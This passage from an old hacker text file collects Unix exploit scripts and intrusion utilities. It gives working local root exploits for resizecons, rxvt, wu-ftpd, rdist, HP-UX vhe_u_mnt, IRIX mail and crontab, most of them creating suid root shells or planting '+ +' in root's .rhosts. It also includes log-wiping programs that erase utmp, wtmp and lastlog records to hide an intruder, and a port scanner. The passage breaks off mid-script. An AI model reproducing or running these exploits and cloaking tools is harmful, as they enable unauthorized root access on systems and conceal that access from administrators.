- Program: /usr/bin/resizecons
- Affected Operating Systems: Red Hat 2.1 linux distribution
- Requirements: account on system
- Temporary Patch: chmod -s /usr/bin/resizecons
- Security Compromise: root
- Author: Dave M. (davem@cmu.edu)
- Synopsis: resizecons runs restoretextmode without an
- absolute pathname while executing as root,
- allowing a user to substitute the real
- program with arbitrary commands.
-
-
- ----------cut here
- wozzeck.sh:
- #!/bin/sh
- #
- # wozzeck.sh
- # exploits a security hole in /usr/bin/resizecons
- # to create a suid root shell in /tmp/wozz on a
- # linux Red Hat 2.1 system.
- #
- # by Dave M. (davem@cmu.edu)
- #
- echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system
- echo ================ Checking system vulnerability
- if test -u /usr/bin/resizecons
- then
- echo ++++++++++++++++ System appears vulnerable.
- cd /tmp
- cat << _EOF_ > /tmp/313x37
- This exploit is dedicated to
- Wozz. Use it with care.
- _EOF_
- cat << _EOF_ > /tmp/restoretextmode
- #!/bin/sh
- /bin/cp /bin/sh /tmp/wozz
- /bin/chmod 4777 /tmp/wozz
- _EOF_
- /bin/chmod +x /tmp/restoretextmode
- PATH=/tmp
- echo ================ Executing resizecons
- /usr/bin/resizecons 313x37
- /bin/rm /tmp/restoretextmode
- /bin/rm /tmp/313x37
- if test -u /tmp/wozz
- then
- echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz
- else
- echo ---------------- Exploit failed
- fi
- else
- echo ---------------- This machine does not appear to be vulnerable.
- fi
-
- -------------- cut here
-
- ..........................................................................
- . .
- . 13. Root console exploit for restorefont .
- . .
- ..........................................................................
-
- Linux 'restorefont' Security Holes
- by FEH Staff
-
- Linux's svgalib utilities, required to be suid root, have a problem in that
- they do not revoke suid permissions before reading a file. This is exploited
- in the restorefont utility, but similar bugs exist in other svgalib utilities.
- The restorefont utility serves two functions. First, it will read a font from
- a file and write it to the console as the font. Second, it will read a font
- from the console and write it out to a file. Luckily, the specific bug
- in restorefont can only be exploited if someone is at the console, reducing
- its overall impact on the security of the system as a whole.
-
- In writing the utilities, the authors are cognizant of the fact that when
- writing out the font, suid permissions must first be given up; it is in fact
- commented as such in the code. However, when reading in a font, the program
- is still running with full suid root permissions. This allows us to read in
- any file for the font that root could access (basically, anything).
-
- The applicable code to read in the file is shown below:
-
- #define FONT_SIZE 8192
- unsigned char font[FONT_SIZE];
-
- if (argv[1][1] == 'r') {
- FILE *f;
- f = fopen(argv[2], "rb");
- if (f == NULL) {
- error:
- perror("restorefont");
- exit(1);
- }
- if(1!=fread(font, FONT_SIZE, 1, f))
- {
- if(errno)
- goto error;
- puts("restorefont: input file corrupted.");
- exit(1);
- }
- fclose(f);
-
- We can see from this that the file to be read in has to be at least 8k,
- as if it is not, the program will produce an error and exit. If the file
- is at least 8k, the first 8k are read into the buffer, and the program
- proceeds to set whatever the contents of the file are to the font:
- vga_disabledriverreport();
- vga_setchipset(VGA); /* avoid SVGA detection */
- vga_init();
- vga_setmode(G640x350x16);
- vga_puttextfont(font);
- vga_setmode(TEXT);
-
- At this point, the console will now look quite unreadable if you are
- reading something other than a font from that file. But, the data that
- is put into the font is left untouched and is readable using the -w option
- of restorefont. We then read the font back from video memory to a new file,
- and our job is complete, we have read the first 8k of a file we shouldn't
- have had access to. To prevent detection of having run this, we probably
- shouldn't leave an unreadable font on the screen, so we save and then restore
- the original font before reading from the file.
- The complete exploit is shown below:
-
- Program: restorefont, a svgalib utility
- Affected Operating Systems: linux
- Requirements: logged in at console
- Security Compromise: user can read first 8k of any file of at least
- 8k in size on local filesystems
- Synopsis: restorefont reads a font file while suid root,
- writing it to video memory as the current vga
- font; anyone at console can read the current
- font to a file, allowing you to use video memory
- as an 8k file buffer.
-
- -------------
- rfbug.sh:
- --------------------cut here
- #!/bin/sh
- restorefont -w /tmp/deffont.tmp
- restorefont -r $1
- restorefont -w $2
- restorefont -r /tmp/deffont.tmp
- rm -f /tmp/deffont.tmp
- -----------------------------------cut here
-
- ..........................................................................
- . .
- . 14. Root rxvt X server exploit .
- . .
- ..........................................................................
-
- Program: rxvt
- Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with
- rxvt suid root (and compiled with PRINT_PIPE)
- Requirements: account on system, X server
- Temporary Patch: chmod -s /usr/X11R6/bin/rxvt
- Security Compromise: root
- Author: Dave M. (davem@cmu.edu)
- Synopsis: rxvt fails to give up root privileges before
- opening a pipe to a program that can be specified
- by the user.
-
-
- Exploit:
- 1. Set DISPLAY environment variable if necessary so you can use x clients.
- 2. In user shell:
- $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
- $ chmod +x /tmp/rxbug
- $ rxvt -print-pipe /tmp/rxbug
- 3. In rxvt xclient:
- $ cat
- ESC[5i
- ESC[4i
- (The client will close at this point with a broken pipe)
- 4. $ /tmp/rxsh
- # whoami
- root
- #
-
- ..........................................................................
- . .
- .15. Root wuftpd exploit .
- ..........................................................................
-
- The following is gleaned from the BugTraq mailing list:
- -------------------------------------------------------
- Since Bugtraq is exceptionally quiet lately, I though I should make it
- come alive again with this discussion of the bug that was reported in
- the wu.ftpd that comes with some Slackware distributions of Linux.
- The report was just before Bugtraq went down for a long time, but
- I've found the bug still to be present on all the Linux machines that
- I have access to. So maybe it needs to be brought a little more in
- the open. Here we go:
-
- ObBug: - Short description of the bug
-
- It involves wu.ftpd being misconfigured at compile time and allowing
- SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users
- this is ~ftp/bin). Now if in this /bin resides a program that gives
- access to executables outside /bin, but in the users reach (such as
- /bin/bash that gives access to the user's homedir), this opens up
- a root vulnerability. This should have been set to /bin/ftp-exec and
- which be set by the _PATH_EXECPATH variable in src/pathnames.h before
- compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the
- net has this securely set as default value.
-
- - How to check ?
-
- $ ftp -n localhost
- user: <userid>
- password: <passwd>
- ftp> quote site exec bash -c id
-
- If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids>
-
- Of course, bash should not be available at all
-
- - How to exploit (in case your sysadmin or you think the above is not
- a problem)
-
- go to your homedir and make a program: duh.c (or whatever)
-
- main() {
- seteuid(0);
- setegid(0);
- system("/bin/cp /bin/sh ./sh");
- system("/bin/chmod 6755 ./sh");
- }
-
- $ make duh
- $ ftp -n localhost (and login)
- user: <userid>
- password: <passwd>
- ftp> quote site exec bash -c duh
- ftp> quit
-
- $ ./sh
-
- bash#
-
- (voila, QED)
-
- - How to fix?
-
- Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive
- doesn't compile on linux) and compile it; you might want to define the
- _PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s
- and /usr/adm/xferlog for example). If you cannot find that I can email the
- source to you,...if you trust the source I took somewhere unmodified and
- if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too.
- I can remember that I got it that way.
-
- $) Henri Karrenbeld
- -----------------------------------------------------------------------------
- Hardware, n.:
- The parts of a computer system that can be kicked.
- -----------------------------------------------------------------------------
-
- ..........................................................................
- . .
- . 16. A shell script called gimme, used to read any system file .
- ..........................................................................
-
- ----------------cut here
- #! /bin/sh
- # GIMME - "gimme' a file"
- # Demonstrate rdist's ability to give me permission to access anything.
- #
- # gimme <pathname> [<permission> [<directory>]]
- # <pathname> is the target file.
- # <permission> is the octal mode to which the file access permission
- # should be set. Note that this may not be effective unless
- # either the SUID (4000) or SGID (2000) bits are also requested.
- # <directory> is the target directory for rdist to use if a hard
- # link is desired. Note that the user must have permission
- # to create this directory, it must be on the same filesystem
- # as the target file, and the target file must not be a
- # directory. This option is necessary to change the ownership
- # of the target if chown() of a symbolic link modifies the
- # link itself, and not the file it refers to.
- #
-
- dirname=gimme$$
- deftemp=/tmp
- defperm=6777
-
- if [ $1x = x ]; then
- echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2
- exit 1
- fi
-
- if [ $2x != x ]; then
- perm=$2
- else
- perm=$defperm
- fi
-
- if [ $3x != x ]; then
- link="ln"
- temp=$3/$dirname
- target=$1
- else
- link="ln -s"
- temp=$deftemp/$dirname
- case $1 in
- /*)
- target=$1
- ;;
- *)
- target=`pwd`/$1
- ;;
- esac
- fi
-
- trap "rm -fr $temp; exit 1" 1 2 15
- umask 66
- mkdir $temp; if [ $? != 0 ]; then
- exit 1
- fi
-
- set `whoami` $LOGNAME
- user=$1
- set daemon `groups`
- while [ $# != 1 ]; do
- shift
- done
- group=$1
-
- (
- echo "t$temp/something"
- echo "R0 $perm 1 0 $user $group "
-
- while [ ! -f $temp/rdist* ]; do
- sleep 1
- done
-
- set $temp/rdist*
- rm -f $1
- if $link $target $1 >&2; then
- echo "" | dd bs=3 conv=sync 2>/dev/null
- echo ""
-
- echo 0 > $temp/status
- else
- echo 1 > $temp/status
- fi
-
- exit
- ) | rdist -Server
-
- status=`cat $temp/status`
- rm -fr $temp
- exit $status
- -----------------------------cut here
-
-
-
- *********************************************
- * Appendix IV - Other UNIX system utilities *
- *********************************************
-
-
- ..........................................................................
- . .
- . 1. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX .
- ..........................................................................
-
-
- ------------------ cut here
-
- /* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */
- /* This file totally wipes all presence of you on a UNIX system*/
- /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */
- /* is compatible.. This file is for information purposes ONLY!*/
-
- /*--> Begin source... */
- #include <fcntl.h>
- #include <utmp.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <lastlog.h>
-
- main(argc, argv)
- int argc;
- char *argv[];
- {
- char *name;
- struct utmp u;
- struct lastlog l;
- int fd;
- int i = 0;
- int done = 0;
- int size;
-
- if (argc != 1) {
- if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) {
- printf("You are now cloaked\n");
- goto start;
- }
- else {
- printf("close successful\n");
- exit(0);
- }
- }
- else {
- printf("usage: close [file to close]\n");
- exit(1);
- }
- start:
- name = (char *)(ttyname(0)+5);
- size = sizeof(struct utmp);
-
- fd = open("/etc/utmp", O_RDWR);
- if (fd < 0)
- perror("/etc/utmp");
- else {
- while ((read(fd, &u, size) == size) && !done) {
- if (!strcmp(u.ut_line, name)) {
- done = 1;
- memset(&u, 0, size);
- lseek(fd, -1*size, SEEK_CUR);
- write(fd, &u, size);
- close(fd);
- }
- }
- }
-
-
- size = sizeof(struct lastlog);
- fd = open("/var/adm/lastlog", O_RDWR);
- if (fd < 0)
- perror("/var/adm/lastlog");
- else {
- lseek(fd, size*getuid(), SEEK_SET);
- read(fd, &l, size);
- l.ll_time = 0;
- strncpy(l.ll_line, "ttyq2 ", 5);
- gethostname(l.ll_host, 16);
- lseek(fd, size*getuid(), SEEK_SET);
- close(fd);
- }
- }
- ---------------cut here
-
- .............................................................................
- . .
- . 2. invisible.c Makes you invisible, and works on some SunOS without root .
- .............................................................................
-
-
- ----------- cut here
- /* invisible.c - a quick hack courtesy of the rogue */
- /* erases your presence when root, or partially erases when on a sun and not root */
- /* peace, dudes */
-
-
- #include <fcntl.h>
- #include <utmp.h>
- #include <sys/types.h>
- #include <unistd.h>
- #include <lastlog.h>
-
- main(argc, argv)
- int argc;
- char *argv[];
- {
- char *name;
- struct utmp u;
- struct lastlog l;
- int fd;
- int i = 0;
- int done = 0;
- int size;
-
- name = (char *)(ttyname(0)+5);
- size = sizeof(struct utmp);
-
- fd = open("/etc/utmp", O_RDWR);
- if (fd < 0)
- perror("/etc/utmp");
- else {
- while ((read(fd, &u, size) == size) && !done) {
- if (!strcmp(u.ut_line, name)) {
- done = 1;
- memset(&u, 0, size);
- lseek(fd, -1*size, SEEK_CUR);
- write(fd, &u, size);
- close(fd);
- }
- }
- }
- memset(&u, 0, size);
- fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC);
- if (fd < 0)
- perror("/var/adm/wtmp");
- else {
- u.ut_time = 0;
- strcpy(u.ut_line, "~");
- strcpy(u.ut_name, "shutdown");
- write(fd, &u, size);
- strcpy(u.ut_name, "reboot");
- write(fd, &u, size);
- close(fd);
- }
-
-
- size = sizeof(struct lastlog);
- fd = open("/var/adm/lastlog", O_RDWR);
- if (fd < 0)
- perror("/var/adm/lastlog");
- else {
- lseek(fd, size*getuid(), SEEK_SET);
- read(fd, &l, size);
- l.ll_time = 0;
- strncpy(l.ll_line, "ttyq2 ", 5);
- gethostname(l.ll_host, 16);
- lseek(fd, size*getuid(), SEEK_SET);
- write(fd, &l, size);
- close(fd);
- }
-
- }
- ----------- cut here
-
- ..........................................................................
- . .
- . 3. SySV Program that makes you invisible .
- ..........................................................................
-
-
- --------- cut here
-
- /* MME - MakeME, Version 1.00 for SySV / Source Compatible machines
- MME will allow you to remove yerself from the UTMP file, change
- what name appears for you in UTMP, or change what TTY you appear
- to be on.
-
- If you modify this program or incorporate some of these routines into
- another program, please somewhere in the program tell where you got
- them from.. namely, put in some credits to me & This program , so
- you don't "playgerize". It makes me mad when someone modifies someone
- else's work then pawns it off as their own original piece. The credits
- can even be in a comment somewhere in the source instead of visual to
- the user.
-
- syntax:
- mme
- mme login_name
- mme login_name new_tty
-
- in order to change tty name, you must first supply a login name
- then a ttyname.
-
- You MUST have write perm's to /etc/utmp to modify the main utmp file.
- */
-
- #include <stdio.h>
- #include <fcntl.h>
- #include <sys/types.h>
- #include <utmp.h>
- #include <sys/stat.h>
-
- char *mytty; /* For an exact match of ut_line */
- char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak";
- struct utmp *user;
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0;
- char err[80];
- if (argc >= 2) cn = 1;
- if (argc == 3) cl = 1;
- system(backup_utmp);
- printf("Welcome to MME 1.00 By Sir Hackalot\n");
- printf("Another PHAZESOFT Productions\n");
- printf("Status:");
- if (cn == 1) printf("Changing your login to %s\n",argv[1]);
- if (cl == 1) printf("Changing your tty to %s\n",argv[2]);
- if (cl == 0 && cn == 0) printf("Removing you from utmp\n");
- utmpname("/etc/utmp");
-
- /* The Below Section finds OUR entry, even if more than 1 of the same name
- of us is logged on. It finds YOUR tty, looks in utmp until it finds
- your tty, then "cnt" holds your index number */
-
- mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */
- strcpy(mytty,++mytty); /* Make a string starting one pos greater */
- while (good != 1) {
- user = getutent();
- cnt++;
- if (strcmp(user->ut_line,mytty) == 0) good =1;
- }
- utmpname("/etc/utmp"); /* Reset file pointer */
- for(start = 0;start < cnt;start++) {
- user = getutent(); /* Move the file pointer to where we are */
- }
-
- /* Below: If we did not supply a command line arg to change name, etc,
- make us invisible from WHO. WHO only displays USER_PROCESS
- types, as does "w", "whodo" and all who variations. You WILL
- be seen if they do who -l (or one some systems -L)
- if we did supply an argument make SURE we DO show up. */
-
- if (argc == 1) user->ut_type = LOGIN_PROCESS; /* Become invisible */
- else user->ut_type = USER_PROCESS;
-
- /* ABove: You can change it to:
- else {
- user->ut_type = LOGIN_PROCESS;
- strcpy(user->ut_name,"LOGIN");
- }
- to totally hide your-self. On some systems, if you do it, it will go
- thru the login process... But that is rare. AT any-rate, for
- safety, i left out the strcpy */
-
- /* Below: If we entered a new login name, change to that.
- If we entered a new tty, change to that. */
-
- if (argc == 2) strcpy(user->ut_name,argv[1]);
- if (argc == 3) strcpy(user->ut_line,argv[2]);
- pututline(user); /* Rewrite our new info */
- endutent(); /* Tell the utmp functions we are through */
- printf("Delete /tmp/utmp.bak if all is well. Else, copy it to /etc/utmp\n");
- }
-
- ----------- cut here
-
- .........................................................................
- . .
- . 4. UNIX Port scanner .
- .........................................................................
-
-
- ----------- cut here
-
- /*
- * internet port scanner
- *
- * This program will scan a hosts TCP ports printing all ports that accept
- * connections, and if known, the service name.
- * This program can be trivially altered to do UDP ports also.
- *
- * Kopywrong (K) Aug. 25, '94 pluvius@io.org
- *
- * Hey kiddies, this is a C program, to run it do this:
- * $ cc -o pscan pscan.c
- * $ pscan <host> [max port]
- *
- * No, this will not get you root.
- *
- * Changes:
- * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box
- * Netrunner 1/18/95 11:30pm
- *
- */
- static char sccsid[] = "@(#)pscan.c 1.0 (KRAD) 08/25/94";
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netdb.h>
-
- #define MAX_PORT 1024 /* scan up to this port */
- int s;
- struct sockaddr_in addr;
- char rmt_host[100];
-
- int skan(port)
- int port;
- {
- int r;
- s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
- if (s < 0) {
- /* fprintf("ERROR: socket() failed\n"); */
- /* Changed to printf for my Linux 1.1.18 box */
- printf("ERROR: socket() failed\n");
- exit(0);
- }
-
- addr.sin_family = PF_INET;
- addr.sin_port = port;
- addr.sin_addr.s_addr = inet_addr(rmt_host);
-
- r = connect(s,(struct sockaddr *) &addr, sizeof(addr));
-
- close(s);
-
- if (r < 0) {
- return (1 == 0);
- }
-
- return (1 == 1);
- }
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- int a,b,c,d,e,f;
- struct hostent *foo;
- struct servent *bar;
-
- if (argc < 2) {
- fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]);
- exit(0);
- }
-
- if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) {
- foo = gethostbyname(argv[1]);
- if (foo == NULL) {
- fprintf(stderr,"error: cannot resolve host %s\n",argv[1]);
- exit(0);
- }
- sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0],
- (unsigned char ) foo->h_addr_list[0][1],
- (unsigned char ) foo->h_addr_list[0][2],
- (unsigned char ) foo->h_addr_list[0][3]);
- } else {
- strncpy(rmt_host,argv[1],99);
- }
-
-
- if (argc > 2) {
- f = atoi(argv[2]);
- } else
- f = MAX_PORT;
-
- fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f);
-
- for (e =1;e<=f;e++) {
- char serv[100];
- if (skan(e)) {
- bar = getservbyport(e,"tcp");
- printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" :
- bar->s_name);
- }
- }
- }
-
- ------------ cut here
-
- .........................................................................
- . .
- . 5. Remove wtmp entries by tty number or username .
- .........................................................................
-
-
- ---------- cut here
-
-
- /* This program removes wtmp entries by name or tty number */
-
- #include <utmp.h>
- #include <stdio.h>
- #include <sys/file.h>
- #include <sys/fcntlcom.h>
-
- void usage(name)
- char *name;
- {
- printf("Usage: %s [ user | tty ]\n", name);
- exit(1);
- }
-
- void main (argc, argv)
- int argc;
- char *argv[];
- {
- struct utmp utmp;
- int size, fd, lastone = 0;
- int match, tty = 0, x = 0;
-
- if (argc>3 || argc<2)
- usage(argv[0]);
-
- if (strlen(argv[1])<2) {
- printf("Error: Length of user\n");
- exit(1);
- }
-
- if (argc==3)
- if (argv[2][0] == 'l') lastone = 1;
-
- if (!strncmp(argv[1],"tty",3))
- tty++;
-
- if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) {
- printf("Error: Open on /usr/adm/wtmp\n");
- exit(1);
- }
-
- printf("[Searching for %s]: ", argv[1]);
-
- if (fd >= 0)
- {
- size = read(fd, &utmp, sizeof(struct utmp));
- while ( size == sizeof(struct utmp) )
- {
- if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) :
- ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) &&
- lastone != 1)
- {
- if (x==10)
- printf("\b%d", x);
- else
- if (x>9 && x!=10)
- printf("\b\b%d", x);
- else
- printf("\b%d", x);
- lseek( fd, -sizeof(struct utmp), L_INCR );
- bzero( &utmp, sizeof(struct utmp) );
- write( fd, &utmp, sizeof(struct utmp) );
- x++;
- }
- size = read( fd, &utmp, sizeof(struct utmp) );
- }
- }
- if (!x)
- printf("No entries found.");
- else
- printf(" entries removed.");
- printf("\n");
- close(fd);
- }
-
- ------------- cut here
-
- ............................................................................
- . .
- . 6. SunOS wtmp editor .
- ............................................................................
-
-
- ---------- cut here
-
- /*
- /var/adm/wtmp editor for Sun's
- Written by gab, this will make a file wtmp.tmp then just copy
- it over /var/adm/wtmp and chmod 644 it
- */
-
- #include <stdio.h>
- #include <utmp.h>
- #include <fcntl.h>
- main(argc,argv)
- int argc;
- char *argv[];
- {
- int fp=-1,fd=-1;
- struct utmp ut;
- int i=0;
- char name[8];
- if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]); exit(2);}
- strcpy(name,argv[1]);
- if (fp=open("/var/adm/wtmp",O_RDONLY)) {
- fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
- while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) {
- if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp));
- i++;
- }
- close(fp);
- close(fd);
- }
- printf("Total: %d\n\r", i);
- }
- ------------ cut here
-
- .......................................................................
- . .
- . 7. SunOS 4+ Zap your self from wtmp, utmp and lastlog .
- .......................................................................
-
-
- ------------- cut here
-
- /*
- Title: Zap.c (c) rokK Industries
- Sequence: 911204.B
-
- Syztems: Kompiles on SunOS 4.+
- Note: To mask yourself from lastlog and wtmp you need to be root,
- utmp is go+w on default SunOS, but is sometimes removed.
- Kompile: cc -O Zap.c -o Zap
- Run: Zap <Username>
-
- Desc: Will Fill the Wtmp and Utmp Entries corresponding to the
- entered Username. It also Zeros out the last login data for
- the specific user, fingering that user will show 'Never Logged
- In'
-
- Usage: If you cant find a usage for this, get a brain.
- */
-
- #include <sys/types.h>
- #include <stdio.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <utmp.h>
- #include <lastlog.h>
- #include <pwd.h>
-
- int f;
-
- void kill_tmp(name,who)
- char *name,
- *who;
- {
- struct utmp utmp_ent;
-
- if ((f=open(name,O_RDWR))>=0) {
- while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
- if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
- bzero((char *)&utmp_ent,sizeof( utmp_ent ));
- lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
- write (f, &utmp_ent, sizeof (utmp_ent));
- }
- close(f);
- }
- }
-
- void kill_lastlog(who)
- char *who;
- {
- struct passwd *pwd;
- struct lastlog newll;
-
- if ((pwd=getpwnam(who))!=NULL) {
-
- if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) {
- lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
- bzero((char *)&newll,sizeof( newll ));
- write(f, (char *)&newll, sizeof( newll ));
- close(f);
- }
-
- } else printf("%s: ?\n",who);
- }
-
- main(argc,argv)
- int argc;
- char *argv[];
- {
- if (argc==2) {
- kill_tmp("/etc/utmp",argv[1]);
- kill_tmp("/usr/adm/wtmp",argv[1]);
- kill_lastlog(argv[1]);
- printf("Zap!\n");
- } else
- printf("Error.\n");
- }
- ------------ cut here
-
-
- ************************************
- * Appendix V - Other Unix Exploits *
- ************************************
-
-
-
- ..........................................................................
- . .
- . 1. HP-UX Root vhe_u_mnt exploit .
- ..........................................................................
-
-
-
- ------- cut here
-
- /***
- *
- * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit.
- *
- * This bug is exhibited in all versions of HP-UX that contain
- * /usr/etc/vhe/vhe_u_mnt setuid to root.
- *
- * This program written by pluvius@io.org
- * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de
- *
- * I found that the exploit code didn't always work due to a race between
- * the child and the parent, and that a link() called failed due to
- * the fact that user directories and the /tmp are in different file systems
- * so you must create a symlink.
- * I added in a call to alarm() so that the timing between the two processes
- * is ok..
- *
- ***/
- #include <stdio.h>
- #include <stdlib.h>
- #include <pwd.h>
- #include <string.h>
- #include <unistd.h>
- #include <signal.h>
- #include <netdb.h>
- #include <sys/wait.h>
- #include <sys/stat.h>
- #include <sys/utsname.h>
-
- #define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt"
- #define NAME "<defunct>"
-
- int test_host()
- { struct utsname name;
- uname(&name);
- return !strcmp(name.sysname,"HP-UX");
- }
- int check_mount()
- { struct stat my_buf;
- if (stat(BUGGY_PROG, &my_buf))
- return 0;
- return !((my_buf.st_mode & S_ISUID) != S_ISUID);
- }
- void pause_handler()
- {
- signal(SIGALRM,pause_handler);
- }
- int rhost_user(user)
- char *user;
- {
- struct passwd *info;
- char homedir[80];
- int fd[2];
- int procno;
- struct stat my_buf;
- int fsize;
-
- info = getpwnam(user);
- if (info==NULL) {
- fprintf(stderr,"ERROR: Unknown user %s\n",user);
- exit(-3);
- }
- strcpy(homedir,info->pw_dir);
- if (homedir[strlen(homedir)-1] != '/')
- strcat(homedir,"/");
- strcat(homedir,".rhosts");
-
- signal(SIGALRM,pause_handler);
- memset(my_buf,0,sizeof(my_buf));
- stat(homedir,&my_buf);
- fsize = my_buf.st_size;
-
- /* now the exploit code... slightly modified.. but mostly from the source */
- /* by misar@rbg.informatik.th-darmstadt.de */
- pipe(fd);
- if (!(procno=fork())) {
- close(0);
- dup(fd[0]);
- close(fd[1]);
- close(1);
- close(2);
- alarm(2); /* wait for other process */
- nice(5);
- execl(BUGGY_PROG,NAME,NULL);
- } else {
- FILE *out;
- char listfile[25];
- char mntfile[25];
- struct stat dummy;
-
- close(1);
- dup(fd[1]);
- close(fd[0]);
- write(1,"+\n",2);
- sprintf(listfile,"/tmp/vhe_%d",procno+2);
- sprintf(mntfile,"/tmp/newmnt%d",procno+2);
- while (stat(listfile,&dummy));
- unlink(listfile);
- out=fopen(listfile,"w");
- fputs("+ +\n",out);
- fclose(out);
- unlink(mntfile);
- symlink(homedir,mntfile);
- waitpid(procno,NULL,0);
- }
- stat(homedir,&my_buf);
- return (fsize != my_buf.st_size);
- }
-
- void main(argc,argv)
- int argc;
- char *argv[];
- {
- int i;
- int rhost_root = 0;
- char userid[10];
-
- if (!test_host()) {
- fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n");
- exit(-1);
- }
-
- if (!check_mount()) {
- fprintf(stderr,
- "ERROR: %s must exist and be setuid root to exploit this bug\n",
- BUGGY_PROG);
- exit(-2);
- }
-
- for (i=0;(i<5)&&(!rhost_root);i++) {
- fprintf(stderr,"Attempting to .rhosts user root..");
- if (!rhost_user("root")) {
- fprintf(stderr,"failed.\n");
- } else {
- fprintf(stderr,"succeeded\n");
- rhost_root = 1;
- }
- }
-
- if (!rhost_root) {
- /* failed to rhost root, try user 'bin' */
- fprintf(stderr,"Too many failures.. trying user bin...");
- if (!rhost_user("bin")) {
- fprintf(stderr,"failed.\n");
- exit(-4);
- }
- fprintf(stderr,"succeeded.\n");
- strcpy(userid,"bin");
- } {
- strcpy(userid,"root");
- }
- fprintf(stderr,"now type: \"remsh localhost -l %s csh -i\" to login\n",
- userid);
- }
-
- --------- cut here
-
- ..........................................................................
- . .
- . 2. IRIX Root mail exploit . .
- ..........................................................................
-
-
- ---------- cut here
-
- #!/bin/sh
- MAIL="/bin/mail"
- RM="/bin/rm -f"
- CC="/usr/bin/cc"
- OS="IRIX"
-
- if [ ".`uname -s`" != ".$OS" ]; then
- echo "this box is not running $OS !"
- exit 1
- fi
- echo "creating rewt.c"
- cat >rewt.c <<'EOF'
- main()
- {
- setuid(0);
- setgid(0);
- system("/bin/sh -i");
- }
- EOF
- echo "compiling..."
- $CC -o rewt rewt.c
- if [ -f rewt ]; then
- echo "done"
- $RM rewt.c
- else
- echo "unable to compile rewt.c"
- $RM rewt.c
- exit 1
- fi
- # make dummy mail file for -f
- echo "making dummy mail file"
- cat >dummymail <<'EOF'
- From mr.haqr@bogus.host.edu Sun Oct 30 00:00:00 1994
- Return-Path: </dev/null>
- Message-Id: <m0r1RBj-0003gkC@bogus.host.edu>
- From: mr.haqr (Mr. Haqr)
- Subject: Irix is secure!!@#%$^
- To: root (root)
- Date: Sun, 30 Oct 1994 00:00:00
-
- gimme sum rewt d00d!
- <insert l0ck motd here>
-
- EOF
- echo "running $MAIL, type '!rewt' to get root, exit with 'exit' and then 'q'"
- $MAIL -f dummymail
- echo "deleting evil files"
- $RM dummymail rewt rewt.c
-
- exit 0
-
- ----------- cut here
-
- .............................................................................
- . .
- . 3. Root cron grabber - Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX .
- .............................................................................
-
-
- [crongrab] [public release]
-
- Crontab has a bug. You run crontab -e, then you goto a shell, relink the
- temp fire that crontab is having you edit, and presto, it is now your
- property. This bug has been confirmed on various versions of OSF/1, Digital
- UNIX 3.x, and AIX 3.x
-
- If, while running my script, you somehow manage to mangle up your whole
- system, or perhaps do something stupid that will place you in jail, then
- neither I, nor sirsyko, nor the other fine folks of r00t are responsible.
-
- Personally, I hope my script eats your cat and causes swarms of locuses to
- decend down upon you, but I am not responsible if they do.
-
- --kmem.
-
- [-- Script kiddies cut here -- ]
- #!/bin/sh
-
- # This bug was discovered by sirsyko Thu Mar 21 00:45:27 EST 1996
- # This crappy exploit script was written by kmem.
- # and remember if ur not owned by r00t, ur not worth owning
- #
- # usage: crongrab <file_to_grab> <destination>
-
- echo Crontab exploit for OSF/1, AIX 3.2.5, Digital UNIX, others???
- echo if this did not work on OSF/1 read the comments -- it is easy to fix.
-
- if [ $# -ne '2' ]; then
- echo "usage: $0 <file_to_grab> <destination>"
- exit
- fi
-
- HI_MUDGE=$1
- YUMMY=$2
- export HI_MUDGE
-
- UNAME=`uname`
- GIRLIES="1.awk aix.sed myedit.sh myedit.c .r00t-tmp1"
-
- #SETUP the awk script
- cat >1.awk <<END
- {
- new= i%2
- if (new == 0) print \$0
- i++
- }
- END
-
- cat >aix.sed <<END
- /^crontab:/d
